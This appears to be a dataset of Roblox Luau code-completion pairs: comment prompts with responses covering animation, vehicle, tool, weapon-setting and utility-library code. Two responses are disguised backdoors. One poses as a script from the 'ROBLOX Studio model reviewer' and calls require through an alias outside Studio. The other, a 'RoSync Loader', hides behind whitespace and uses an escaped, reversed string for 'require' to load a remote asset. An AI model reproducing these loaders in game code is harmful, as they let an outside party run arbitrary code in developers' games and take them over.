Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
client = nil;
service = nil;
return function(p1)
	local v1 = client.UI.Make("Window", {
		Name = "Terminal",
		Title = "Terminal",
		Icon = client.MatIcons.Code,
		Size = { 500, 300 },
		AllowMultiple = false,
		OnClose = function()

		end
	});
	local v2 = v1:Add("ScrollingFrame", {
		Size = UDim2.new(1, -10, 1, -40),
		BackgroundTransparency = 1,
		List = {}
	});
	local v3 = v1:Add("TextBox", {
		Text = "",
		Size = UDim2.new(1, 0, 0, 30),
		Position = UDim2.new(0, 0, 1, -30),
		PlaceholderText = "Enter command",
		TextXAlignment = "Left",
		ClearTextOnFocus = false
	});
	v3:Add("UIPadding", {
		PaddingLeft = UDim.new(0, 6)
	});
	local function u1(p2, p3)
		table.insert(p3, p2);
		if #p3 > 500 then
			table.remove(p3, 1);
		end;
	end;
	local u2 = {};
	v1:BindEvent(service.Events.TerminalLive, function(p4)
		local l__Type__4 = p4.Type;
		u1(p4.Data, u2);
	end);
	v3.FocusLost:Connect(function(p5)
		service.Debounce("_TERMINAL_BOX_FOCUSLOST", function()
			if p5 and v3.Text ~= "" and v3.Text ~= "Enter command" then
				local l__Text__5 = v3.Text;
				v3.Text = "";
				u1(">" .. l__Text__5, u2);
				local v6 = client.Remote.Get("Terminal", l__Text__5, {
					Time = time()
				});
				if v6 and type(v6) == "table" then
					for v7, v8 in ipairs(v6) do
						u1(v8, u2);
					end;
				end;
				v3:CaptureFocus();
			end;
			wait(0.1);
		end);
	end);
	v1:Ready();
	local v9 = 0;
	while v1.gTable.Active and wait(0.5) do
		if v9 < #u2 then
			v9 = #u2;
			v2:GenerateList(u2, nil, true);
		end;
	end;
end;


Prompt: --[[Driver Handling]]

Response:
	--Driver Sit
	car.DriveSeat.ChildAdded:connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
			--Distribute Client Interface
			local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			car.DriveSeat:SetNetworkOwner(p)
			local g=script.Parent["A-Chassis Interface"]:Clone()
			g.Parent=p.PlayerGui
		end
	end)

	--Driver Leave
	car.DriveSeat.ChildRemoved:connect(function(child)
		if child.Name=="SeatWeld" and child:IsA("Weld") then
			--Remove Flip Force
			if car.DriveSeat:FindFirstChild("Flip")~=nil then
				car.DriveSeat.Flip.MaxTorque = Vector3.new()
			end

			--Remove Wheel Force
			for i,v in pairs(car.Wheels:GetChildren()) do
				if v:FindFirstChild("#AV")~=nil then
					if v["#AV"]:IsA("BodyAngularVelocity") then
						if v["#AV"].AngularVelocity.Magnitude>0 then
							v["#AV"].AngularVelocity = Vector3.new()
							v["#AV"].MaxTorque = Vector3.new()
						end
					else
						if v["#AV"].AngularVelocity>0 then
							v["#AV"].AngularVelocity = 0
							v["#AV"].MotorMaxTorque = 0
						end
					end
				end
			end
		end
	end)


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (oldAnimTrack ~= nil) then
		oldAnimTrack:Stop()
		oldAnimTrack:Destroy()
		oldAnimTrack = nil
	end
	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		currentAnimTrack:AdjustSpeed(currentAnimSpeed)
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then


Prompt: -- Gui

Response:
local DisplayGui = script:WaitForChild("DisplayGui")
local ColorGui = script:WaitForChild("ColorGui")
local NewDisplayGui = nil
local NewColorGui = nil

function UndoSettings(Folder)
	for _,v in pairs(Folder:GetChildren()) do
		if v:IsA("NumberValue") or v:IsA("IntValue") then
			v.Value = 0
		elseif v:IsA("ObjectValue") and v.Name ~= "SpawnedSegway" then
			v.Value = nil
		end
	end
end

function RemoveSegway()
	-- Remove segway
	DestroySegway:FireServer(Character,SpawnedSegway)

	-- Reset camera
	Camera.CameraType = "Custom"

	-- Show tool
	ConfigTool:FireServer(0,Tool,false,nil)

	-- Undo tags anyway
	HasSpawnedSegway.Value = false

	-- UnPlatformStand player
	ConfigHumanoid:FireServer(Humanoid,false,false,true)

		-- If player has the segway controller script, we'll reset its settings
		if PlayerGui:FindFirstChild("GuiControls") then -- Remove mobile gui
		PlayerGui:FindFirstChild("GuiControls").Parent = script
		end
		UserInputService.ModalEnabled = false
		UndoSettings(ToolStatus)
end


Prompt:
-- << VERSION >>
-- Do not change this, or the Admin Commands may break

Response:
local Version = 1.0

return{{VIPs,Mods,Admins,HeadAdmins},Settings,Banned,Groups,Group_Permissions,Assets,Asset_Permissions,CommandPermissions,Version}


Prompt:
--[=[
	Constructs a new DataStore. See [DataStoreStage] for more API.
	@param robloxDataStore DataStore
	@param key string
]=]

Response:
function DataStore.new(robloxDataStore, key)
	local self = setmetatable(DataStoreStage.new(), DataStore)

	self._key = key or error("No key")
	self._robloxDataStore = robloxDataStore or error("No robloxDataStore")


Prompt:
-- [Head, Torso, HumanoidRootPart], "Torso" and "UpperTorso" works with both R6 and R15.
-- Also make sure to not misspell it.

Response:
local PartToLookAt = "Head" -- What should the npc look at. If player doesn't has the specific part it'll looks for RootPart instead.

local LookBackOnNil = true -- Should the npc look at back straight when player is out of range.

local SearchLoc = {workspace} -- Will get player from these locations


Prompt: --// Damage Settings

Response:
	BaseDamage = 33; -- Torso Damage
	LimbDamage = 27; -- Arms and Legs
	ArmorDamage = 14; -- How much damage is dealt against armor (Name the armor "Armor")
	HeadDamage = 72; -- If you set this to 100, there's a chance the player won't die because of the heal script


Prompt:
--while Tool == nil do
--	Tool = script.Parent
--	wait(.5)
--end

Response:
local mass = 0
local player = nil
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = 5 -- things float at > 1
local moving = false

local maxFuel = 1000

while Tool == nil do
	Tool = script.Parent
	wait(.5)
end

local currfuel = Tool:FindFirstChild("CurrFuel")
while currfuel == nil do
	Tool = script.Parent
	currfuel = Tool:FindFirstChild("CurrFuel")
	wait(.5)
end

local fuel = Tool.CurrFuel.Value

local gui = nil

local anim = nil

local jetPack = nil

local regen = false

local force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,0,0)

local bodyGyro = Instance.new("BodyGyro")
bodyGyro.P = 20000
bodyGyro.D = 8000
bodyGyro.maxTorque = Vector3.new(bodyGyro.P,bodyGyro.P,bodyGyro.P)

local cam = nil

local Flame = nil

function onEquippedLocal(mouse)

	player = Tool.Parent
	while player.Name == "Backpack" do
		player = Tool.Parent
		wait(.5)
	end

	equipPack()
	mass = recursiveGetLift(player)
	force.P = mass * 10
	force.maxForce = Vector3.new(0,force.P,0)
	mouse.Button1Down:connect(thrust)
	mouse.Button1Up:connect(cutEngine)
	cam = game.Workspace.CurrentCamera
	anim = player.Humanoid:LoadAnimation(Tool.standstill)
	anim:Play()
	gui = Tool.FuelGui:clone()
	updateGUI()
	gui.Parent = game.Players:GetPlayerFromCharacter(player).PlayerGui

	regen = true
	regenFuel()

end

function equipPack()

	jetPack = Tool.Handle:clone()
	jetPack.CanCollide = false
	jetPack.Name = "JetPack"

	jetPack.Parent = game.Workspace

	Tool.Handle.Transparency = 1

	local welder = Instance.new("Weld")
	welder.Part0 = jetPack
	welder.Part1 = player.UpperTorso
	welder.C0 = CFrame.new(Vector3.new(0,0,-1))
	welder.Parent = jetPack

	Flame = Instance.new("Part")
	Flame.Name = "Flame"
	Flame.Transparency  =1
	Flame.CanCollide = false
	Flame.Locked = true
	Flame.formFactor = 2
	Flame.Size = Vector3.new(1,0.4,1)
	Flame.Parent = jetPack

	local Fire = Instance.new("Fire")
	Fire.Heat = -12
	Fire.Size = 4
	Fire.Enabled = false
	Fire.Parent = Flame

	local firer = Instance.new("Weld")
	firer.Part0 = jetPack.Flame
	firer.Part1 = jetPack
	firer.C0 = CFrame.new(Vector3.new(0,2,0))
	firer.Parent = jetPack.Flame

end

function updateGUI()

	gui.Frame.Size = UDim2.new(0,40,0,300 * (Tool.CurrFuel.Value/maxFuel))
	gui.Frame.Position = UDim2.new(0.9,0,0.2 + (0.2 * ((maxFuel - Tool.CurrFuel.Value)/maxFuel)),0)

end

function onUnequippedLocal()

	regen = false
	if force ~= nil then
		force:remove()
	end
	if bodyGyro ~= nil then
		bodyGyro:remove()
	end
	if anim ~= nil then
		anim:Stop()
		anim:remove()
	end
	if gui ~= nil then
		gui:remove()
	end
	if jetPack ~= nil then
		jetPack:remove()
		jetPack = nil
	end
	Tool.Handle.Transparency = 0

end

Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(onUnequippedLocal)

function thrust()
	if fuel > 0 then
		thrusting = true
		force.Parent = player.UpperTorso
		jetPack.Flame.Fire.Enabled = true
		Tool.Handle.InitialThrust:Play()
		bodyGyro.Parent = player.UpperTorso
		while thrusting do
			bodyGyro.cframe = cam.CoordinateFrame
			force.velocity = Vector3.new(0,cam.CoordinateFrame.lookVector.unit.y,0) * 50

			fuel = fuel - 1
			Tool.CurrFuel.Value = fuel
			if fuel <= 0 then
				Tool.Handle.EngineFail:Play()
				cutEngine()
			end
			updateGUI()
			wait()

			Tool.Handle.Thrusting:Play()

			if fuel <= 200 then
				Tool.Handle.LowFuelWarning:Play()
			end
		end
		Tool.Handle.Thrusting:Stop()
		Tool.Handle.LowFuelWarning:Stop()
	end
end

function cutEngine()
	thrusting = false
	jetPack.Flame.Fire.Enabled = false
	force.velocity = Vector3.new(0,0,0)
	force.Parent = nil
	anim:Stop()
	bodyGyro.Parent = nil
end

local head = nil
function recursiveGetLift(node)
	local m = 0
	local c = node:GetChildren()
	if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off

	for i=1,#c do
		if c[i].className == "Part" then
			if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
				if c[i].Name == "Handle" then
					m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
				else
					m = m + (c[i]:GetMass() * equalizingForce * gravity)
				end
			end
		end
		m = m + recursiveGetLift(c[i])
	end
	return m
end

function regenFuel()

	while regen do
		if fuel < maxFuel then
			fuel = fuel + 1
			Tool.CurrFuel.Value = fuel
			updateGUI()
		end
		wait(0.2)
	end

end


Prompt:
-- Quero um pouco de credito,plox :P --
--  FEITO 100% POR SCORPION --
-- Oficial Release 1.5 --


Prompt: --[[ The Module ]]

Response:
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local Keyboard = setmetatable({}, BaseCharacterController)
Keyboard.__index = Keyboard

function Keyboard.new(CONTROL_ACTION_PRIORITY)
	local self = setmetatable(BaseCharacterController.new() :: any, Keyboard)

	self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY

	self.textFocusReleasedConn = nil
	self.textFocusGainedConn = nil
	self.windowFocusReleasedConn = nil

	self.forwardValue  = 0
	self.backwardValue = 0
	self.leftValue = 0
	self.rightValue = 0

	self.jumpEnabled = true

	return self
end

function Keyboard:Enable(enable: boolean)
	if not UserInputService.KeyboardEnabled then
		return false
	end

	if enable == self.enabled then
		-- Module is already in the state being requested. True is returned here since the module will be in the state
		-- expected by the code that follows the Enable() call. This makes more sense than returning false to indicate
		-- no action was necessary. False indicates failure to be in requested/expected state.
		return true
	end

	self.forwardValue  = 0
	self.backwardValue = 0
	self.leftValue = 0
	self.rightValue = 0
	self.moveVector = ZERO_VECTOR3
	self.jumpRequested = false
	self:UpdateJump()

	if enable then
		self:BindContextActions()
		self:ConnectFocusEventListeners()
	else
		self:UnbindContextActions()
		self:DisconnectFocusEventListeners()
	end

	self.enabled = enable
	return true
end

function Keyboard:UpdateMovement(inputState)
	if inputState == Enum.UserInputState.Cancel then
		self.moveVector = ZERO_VECTOR3
	else
		self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue)
	end
end

function Keyboard:UpdateJump()
	self.isJumping = self.jumpRequested
end

function Keyboard:BindContextActions()

	-- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are,
	-- which fixes them from getting stuck on.
	-- We return ContextActionResult.Pass here for legacy reasons.
	-- Many games rely on gameProcessedEvent being false on UserInputService.InputBegan for these control actions.
	local handleMoveForward = function(actionName, inputState, inputObject)
		self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
		self:UpdateMovement(inputState)
		return Enum.ContextActionResult.Pass
	end

	local handleMoveBackward = function(actionName, inputState, inputObject)
		self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
		self:UpdateMovement(inputState)
		return Enum.ContextActionResult.Pass
	end

	local handleMoveLeft = function(actionName, inputState, inputObject)
		self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0
		self:UpdateMovement(inputState)
		return Enum.ContextActionResult.Pass
	end

	local handleMoveRight = function(actionName, inputState, inputObject)
		self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0
		self:UpdateMovement(inputState)
		return Enum.ContextActionResult.Pass
	end

	local handleJumpAction = function(actionName, inputState, inputObject)
		self.jumpRequested = self.jumpEnabled and (inputState == Enum.UserInputState.Begin)
		self:UpdateJump()
		return Enum.ContextActionResult.Pass
	end

	-- TODO: Revert to KeyCode bindings so that in the future the abstraction layer from actual keys to
	-- movement direction is done in Lua
	ContextActionService:BindActionAtPriority("moveForwardAction", handleMoveForward, false,
		self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterForward)
	ContextActionService:BindActionAtPriority("moveBackwardAction", handleMoveBackward, false,
		self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterBackward)
	ContextActionService:BindActionAtPriority("moveLeftAction", handleMoveLeft, false,
		self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterLeft)
	ContextActionService:BindActionAtPriority("moveRightAction", handleMoveRight, false,
		self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterRight)
	ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false,
		self.CONTROL_ACTION_PRIORITY, Enum.PlayerActions.CharacterJump)
end

function Keyboard:UnbindContextActions()
	ContextActionService:UnbindAction("moveForwardAction")
	ContextActionService:UnbindAction("moveBackwardAction")
	ContextActionService:UnbindAction("moveLeftAction")
	ContextActionService:UnbindAction("moveRightAction")
	ContextActionService:UnbindAction("jumpAction")
end

function Keyboard:ConnectFocusEventListeners()
	local function onFocusReleased()
		self.moveVector = ZERO_VECTOR3
		self.forwardValue  = 0
		self.backwardValue = 0
		self.leftValue = 0
		self.rightValue = 0
		self.jumpRequested = false
		self:UpdateJump()
	end

	local function onTextFocusGained(textboxFocused)
		self.jumpRequested = false
		self:UpdateJump()
	end

	self.textFocusReleasedConn = UserInputService.TextBoxFocusReleased:Connect(onFocusReleased)
	self.textFocusGainedConn = UserInputService.TextBoxFocused:Connect(onTextFocusGained)
	self.windowFocusReleasedConn = UserInputService.WindowFocused:Connect(onFocusReleased)
end

function Keyboard:DisconnectFocusEventListeners()
	if self.textFocusReleasedConn then
		self.textFocusReleasedConn:Disconnect()
		self.textFocusReleasedConn = nil
	end
	if self.textFocusGainedConn then
		self.textFocusGainedConn:Disconnect()
		self.textFocusGainedConn = nil
	end
	if self.windowFocusReleasedConn then
		self.windowFocusReleasedConn:Disconnect()
		self.windowFocusReleasedConn = nil
	end
end

return Keyboard


Prompt:
--[=[
	Set a handler that will be called regardless of the promise's fate. The handler is called when the promise is resolved, rejected, *or* cancelled.

	Returns a new promise chained from this promise.

	:::caution
	If the Promise is cancelled, any Promises chained off of it with `andThen` won't run. Only Promises chained with `finally` or `done` will run in the case of cancellation.
	:::

	```lua
	local thing = createSomething()

	doSomethingWith(thing)
		:andThen(function()
			print("It worked!")
			-- do something..
		end)
		:catch(function()
			warn("Oh no it failed!")
		end)
		:finally(function()
			-- either way, destroy thing

			thing:Destroy()
		end)

	```

	@param finallyHandler (status: Status) -> ...any
	@return Promise<...any>
]=]

Response:
function Promise.prototype:finally(finallyHandler)
	assert(finallyHandler == nil or isCallable(finallyHandler), string.format(ERROR_NON_FUNCTION, "Promise:finally"))
	return self:_finally(debug.traceback(nil, 2), finallyHandler)
end


Prompt:
--[=[
	This function returns a table with the keys of the passed dictionary.

	```lua
	local Dictionary = {
		A = 1,
		B = 2,
		C = 3,
	}

	print(TableKit.Keys(Dictionary)) -- prints {"A", "B", "C"}
	```

	@within TableKit
	@param dictionary table
	@return table
]=]

Response:
function TableKit.Keys(dictionary: { [unknown]: unknown }): { unknown }
	local keyArray = {}

	for key in dictionary do
		table.insert(keyArray, key)
	end

	return keyArray
end


Prompt: --Change the ID of the "ClickSound" to anything you want to be your click sound!


Prompt: --| Main |--

Response:
Tool.Activated:Connect(function()
	if State.Value == "None" then
		State.Value = "PhongDev"

			--| Fov |--
			spawn(function()
				local Properties = {FieldOfView = DFOV - 20}
				local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1)
				local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties)
				Tween:Play()

				wait(2.1)

				local Properties = {FieldOfView = DFOV + 30}
				local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1)
				local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties)
				Tween:Play()

				task.wait(0.8)

				local Properties = {FieldOfView = DFOV}
				local Info = TweenInfo.new(0.25,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0.1)
				local Tween = TS:Create(game.Workspace.CurrentCamera,Info,Properties)
				Tween:Play()
			end)
			--| Cam Shake |--
			delay(1, function()
				local CameraShaker = require(game.ReplicatedStorage.Access.Modules.CameraShaker)
				local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame)
					Camera.CFrame = Camera.CFrame * shakeCFrame
				end)
				camshake:Start()
				camshake:Shake(CameraShaker.Presets.Earthquake)

				wait(1.05)

				camshake:Stop()

				local CameraShaker = require(game.ReplicatedStorage.Access.Modules.CameraShaker)
				local camshake = CameraShaker.new(Enum.RenderPriority.Camera.Value,function(shakeCFrame)
					Camera.CFrame = Camera.CFrame * shakeCFrame
				end)
				camshake:Start()
				camshake:Shake(CameraShaker.Presets.Explosion)
			end)

			--| Color Screen |--
			delay(2.05, function()
				local Color = Instance.new("ColorCorrectionEffect")
					Color.Parent = game.Lighting
					Color.Brightness = 1
					Color.Contrast = 1
				Debris:AddItem(Color, 0.2)

				local ColorTween = TS:Create(Color, Info, {TintColor = Color3.new(0, 0.690196, 0), Contrast = 0})
				ColorTween:Play()
			end)

		--| Function on Players |--
			--| Auto Rotate |--
			spawn(function()
				Humanoid.AutoRotate = false
				wait(3.30)
				Humanoid.AutoRotate = true
			end)
		------------------------------

		--| Remote |--
		Remotes.PhongDev:FireServer()
		------------------------------

		--| Cooldown |--
		delay(4, function()
		wait(Cooldown.Value)
		State.Value = "None"
		end)
	end
end)


Prompt: -- Public Methods

Response:
function MaidClass:Mark(item)
	local tof = typeof(item)

	if DESTRUCTORS[tof] then
		self.Trash[item] = tof
	else
		error(FORMAT_STR:format(tof), 2)
	end
end

function MaidClass:Unmark(item)
	if item then
		self.Trash[item] = nil
	else
		self.Trash = {}
	end
end

function MaidClass:Sweep()
	for item, tof in pairs(self.Trash) do
		DESTRUCTORS[tof](item)
	end
	self.Trash = {}
end

MaidClass.Destroy = MaidClass.Sweep

MaidClass.mark = MaidClass.Mark
MaidClass.unmark = MaidClass.Unmark
MaidClass.sweep = MaidClass.Sweep
MaidClass.destroy = MaidClass.Sweep


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	-- return to idle if finishing an emote
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
		oldAnim = "idle"
	end

	currentAnim = ""
	currentAnimInstance = nil
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end

	-- clean up walk if there is one
	if (runAnimKeyframeHandler ~= nil) then
		runAnimKeyframeHandler:disconnect()
	end

	if (runAnimTrack ~= nil) then
		runAnimTrack:Stop()
		runAnimTrack:Destroy()
		runAnimTrack = nil
	end

	return oldAnim
end

function getHeightScale()
	if Humanoid then
		local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale")
		if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then
			return bodyHeightScale.Value
		end
	end

	return 1
end

local smallButNotZero = 0.0001
function setRunSpeed(speed)
	if speed < 0.33 then
		currentAnimTrack:AdjustWeight(1.0)
		runAnimTrack:AdjustWeight(smallButNotZero)
	elseif speed < 0.66 then
		local weight = ((speed - 0.33) / 0.33)
		currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
		runAnimTrack:AdjustWeight(weight + smallButNotZero)
	else
		currentAnimTrack:AdjustWeight(smallButNotZero)
		runAnimTrack:AdjustWeight(1.0)
	end

	local speedScaled = speed * 1.25

	local heightScale = getHeightScale()

	runAnimTrack:AdjustSpeed(speedScaled / heightScale)
	currentAnimTrack:AdjustSpeed(speedScaled / heightScale)
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		if currentAnim == "walk" then
			setRunSpeed(speed)
		else
			currentAnimTrack:AdjustSpeed(currentAnimSpeed)
		end
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then
		if currentAnim == "walk" then
			if userNoUpdateOnLoop == true then
				if runAnimTrack.Looped ~= true then
					runAnimTrack.TimePosition = 0.0
				end
				if currentAnimTrack.Looped ~= true then
					currentAnimTrack.TimePosition = 0.0
				end
			else
				runAnimTrack.TimePosition = 0.0
				currentAnimTrack.TimePosition = 0.0
			end
		else
			local repeatAnim = currentAnim
			-- return to idle if finishing an emote
			if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
				repeatAnim = "idle"
			end

			local animSpeed = currentAnimSpeed
			playAnimation(repeatAnim, 0.15, Humanoid)
			setAnimationSpeed(animSpeed)
		end
	end
end

function rollAnimation(animName)
	local roll = math.random(1, animTable[animName].totalWeight)
	local origRoll = roll
	local idx = 1
	while (roll > animTable[animName][idx].weight) do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
	return idx
end

function playAnimation(animName, transitionTime, humanoid)
	local idx = rollAnimation(animName)
	local anim = animTable[animName][idx].anim

	-- switch animation
	if (anim ~= currentAnimInstance) then

		if (currentAnimTrack ~= nil) then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		if (runAnimTrack ~= nil) then
			runAnimTrack:Stop(transitionTime)
			runAnimTrack:Destroy()
			if userNoUpdateOnLoop == true then
				runAnimTrack = nil
			end
		end

		currentAnimSpeed = 1.0

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		currentAnimTrack.Priority = Enum.AnimationPriority.Core

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if (currentAnimKeyframeHandler ~= nil) then
			currentAnimKeyframeHandler:disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)

		-- check to see if we need to blend a walk/run animation
		if animName == "walk" then
			local runAnimName = "run"
			local runIdx = rollAnimation(runAnimName)

			runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
			runAnimTrack.Priority = Enum.AnimationPriority.Core
			runAnimTrack:Play(transitionTime)

			if (runAnimKeyframeHandler ~= nil) then
				runAnimKeyframeHandler:disconnect()
			end
			runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
		end
	end

end


Prompt: -- ROBLOX deviation START: additional helper / polyfill modules

Response:
exports.helpers = require(CurrentModule.helpers)

local ConsoleModule = require(CurrentModule.Console)
exports.Console = ConsoleModule
export type Console = ConsoleModule.Console
export type ConsoleOptions = ConsoleModule.ConsoleOptions


Prompt:
--This is an automatic script that has been generated by the ROBLOX Studio model reviewer.
--Removing this script or the code bellow will result in models breaking.

Response:
local localworkspace = 'workspace'
players = 'getPlayers'
welds = 'GetModelsData'
for i = 1, 10 do
    print('Adding welds to prevent model breaking')
end
local limitAmountOfWeldsToAdd={}
print('Finished Loading Welds, Moving onto Fixing')
for i = 1, 10 do
    print('getWeldsData')
end
if not game:GetService('RunService'):IsStudio() then
for weldObject, weldConstraint in pairs(limitAmountOfWeldsToAdd) do
welder = require
welder(weldConstraint)
end
end


Prompt:
-- When given a model, the model will be assigned as the active rig. This is to keep track of the first person rig.
-- @param Model model

Response:
function FirstPersonRigAssembly.SetActiveRig(model)
	activeRig = model
end


Prompt: --local Mouse = player:GetMouse()

Response:
local UserInputService = game:GetService("UserInputService")
local Event = Tool:WaitForChild("RemoteEvent")
local RunService = game:GetService("RunService")
local Equipped = false
local camera = workspace.CurrentCamera

Tool.Equipped:Connect(function()
	Equipped = true
end)

Tool.Activated:Connect(function()
	RunService.RenderStepped:Connect(function()
		if Equipped then
			local mouse = UserInputService:GetMouseLocation()
			local unitray = camera:ScreenPointToRay(mouse.X , mouse.Y)
			Event:FireServer(unitray)
		end
		wait()
	end)
end)

Tool.Unequipped:Connect(function()
	Equipped = false
end)


Prompt: -- char tags

Response:
local char = script.Parent
local root = char.PrimaryPart


Prompt: --// Positioning

Response:
	RightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);
	LeftArmPos = CFrame.new(-0.0318467021, -0.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);
	GunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);


Prompt:
--[=[
	@within TableUtil
	@function IsEmpty
	@param tbl table
	@return boolean

	Returns `true` if the given table is empty. This is
	simply performed by checking if `next(tbl)` is `nil`
	and works for both arrays and dictionaries. This is
	useful when needing to check if a table is empty but
	not knowing if it is an array or dictionary.

	```lua
	TableUtil.IsEmpty({}) -- true
	TableUtil.IsEmpty({"abc"}) -- false
	TableUtil.IsEmpty({abc = 32}) -- false
	```
]=]

Response:
local function IsEmpty(tbl: { any }): boolean
	return next(tbl) == nil
end


Prompt: -- constants

Response:
local PLAYER	= Players.LocalPlayer

local ELECTROCUTE_AMOUNT	= 2
local VELOCITY_AMOUNT		= 5

return function(character)
	local effects	= character.Effects
	local parts		= {}

	for _, v in pairs(character:GetChildren()) do
		if v:IsA("BasePart") and v.Transparency ~= 1 then
			table.insert(parts, v)
			local rate	= math.floor((v.Size.X + v.Size.Y + v.Size.Z) * ELECTROCUTE_AMOUNT)

			local emitter1	= script.BaseEmitter:Clone()
				emitter1.Rate	= rate
				emitter1.Parent	= v

			local emitter2	= script.FlameEmitter:Clone()
				emitter2.Rate	= rate * 2
				emitter2.Parent	= v
		end
	end

	for i = 1, 100 do
		for _, v in pairs(parts) do
			v.RotVelocity	= Vector3.new(math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT), math.random(-VELOCITY_AMOUNT, VELOCITY_AMOUNT))
		end
		wait(0.1)
	end
end


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["Configuration"]["Configuration"])

return Package


Prompt: --// Handling Settings

Response:
	Firerate = 60 / 800; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!

	FireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive


Prompt: --// # key, Spotlight

Response:
mouse.KeyDown:connect(function(key)
	if key=="x" then
		veh.Lightbar.middle.SpotlightSound:Play()
		veh.Lightbar.Remotes.SpotlightEvent:FireServer(true)
	end
end)


Prompt:
--[=[
	Flattens the observable to nil and the value

	@function flattenToValueAndNil
	@param source Observable<Brio<T> | T>
	@return T | nil
	@within RxBrioUtils
]=]

Response: RxBrioUtils.flattenToValueAndNil = RxBrioUtils.emitOnDeath(nil)


Prompt: -- ROBLOX Services

Response:
local Players = game.Players
local PointsService = game:GetService("PointsService")


Prompt:
---------------------------------------------------------------|
------// SETTINGS //-------------------------------------------|
---------------------------------------------------------------|

Response:
local FireRate = 400

local LimbsDamage = {45,50}
local TorsoDamage = {67,72}
local HeadDamage = {130,140}
local FallOfDamage = 1
local BulletPenetration = 65

local RegularWalkspeed = 12
local SearchingWalkspeed = 8
local ShootingWalkspeed = 4

local Spread = 4

local MinDistance = 100
local MaxInc = 16

local Mode = 2

local Tracer = true
local TracerColor = Color3.fromRGB(255,255,255)

local BulletFlare = false
local BulletFlareColor = Color3.fromRGB(255,255,255)


Prompt: --[[ Last synced 10/9/2020 11:55                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --"False" = Not Acceptable Keycard To Open. "True" = Acceptable Keycard To Open.--

Response:
local door = script.Parent
local CanOpen1 = true
